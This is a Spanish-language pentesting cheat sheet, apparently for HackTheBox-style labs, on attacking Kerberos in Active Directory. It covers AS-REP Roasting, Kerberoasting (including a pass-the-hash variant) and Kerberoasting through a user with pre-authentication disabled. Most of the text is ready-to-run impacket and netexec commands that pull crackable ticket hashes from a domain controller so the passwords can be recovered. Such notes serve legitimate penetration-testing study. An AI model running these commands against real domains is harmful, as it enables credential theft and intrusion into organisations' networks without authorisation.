Attacking Kerberos
AS-REP Roast Attack
Sí disponemos de un listado de usuarios válidos, realizar AS-REP Roast Attack para conseguir un Ticket Granting Ticket (TGT) y luego crackear su hash para obtener su contraseña.
Este ataque hace una consulta al DC si alguno de los usuarios que disponemos en el listado, tiene la flag de (DONT_REQ_PREAUTH) de Kerberos.
El ataque se puede intentar más veces si a lo largo encontramos más usuarios válidos. Desde BloodHound podemos ver los usuarios que tengan esta condición.
# AS-REP Roast desde impacket-GetNPUsers
impacket-GetNPUsers -no-pass -usersfile users.txt dominio.htb/ 2>/dev/null
# AS-REP Roast a través de impacket-GetNPUsers y un bucle while
while read username; do impacket-GetNPUsers dominio.htb/"$username" -request -no-pass -dc-ip 10.10.10.10 >> hashes.txt; done < users.txt 2>/dev/null
# AS-REP Roast a través de netexec
netexec ldap 10.10.10.10 -u users.txt -p '' --asreproast hashes.txt
Kerberoasting Attack
Si disponemos de credenciales válidas de un usuario del dominio, podemos efectuar un Kerberoasting Attack para conseguir un Ticket Granting Service (TGS) de un usuario que tenga asignado un servicePrincipalName (SPN).
Este hash obtenido, podemos intentar crackearlo para obtener sus credenciales en texto plano.
# Kerberoasting Attack a través de impacket-GetUserSPNs autenticación básica
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/'user':'password' -request 2>/dev/null
# Kerberoasting Attack a través de autenticación de Kerberos (disponer de ticket TGT en KRB5CCNAME)
impacket-GetUserSPNs -dc-ip 10.10.10.10 -dc-host dc.dominio.htb dominio.htb/user -k -no-pass -request 2>/dev/null
# Kerberoasting Attack realizando PassTheHash
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/user -hashes :<NTLM_HASH> -request 2>/dev/null
# Kerberoasting Attack a través de netexec
netexec ldap 10.10.10.10 -u 'user' -p 'password' --kerberoasting output.txt
Existe una excepción para realizar el Kerberoasting Attack sin disponer de credenciales.
Si sabemos que hay la existencia de un usuario que sea AS-REP Roast, es decir, que el usuario tenga la flag de (DONT_REQ_PREAUTH) habilitada, también podremos realizar este ataque sin disponer credenciales válidas.
En este caso, el usuario llamado usuarioASREP es susceptible a un AS-REP Roast, es decir, dispone de la flag (DONT_REQ_PREAUTH) de Kerberos habilitada.
Por lo tanto, podemos efectuar un Kerberoasting Attack sin disponer de credenciales válidas del dominio, pero teniendo un usuario que sea susceptible a AS-REP Roast.
impacket-GetUserSPNs -no-preauth 'usuarioASREP' -request -usersfile users.txt dominio.htb/ -dc-ip 10.10.10.10 2>/dev/null
Para más información, se puede consultar el siguiente blog en el cual explican el descubrimiento de este método.
Última actualización
¿Te fue útil?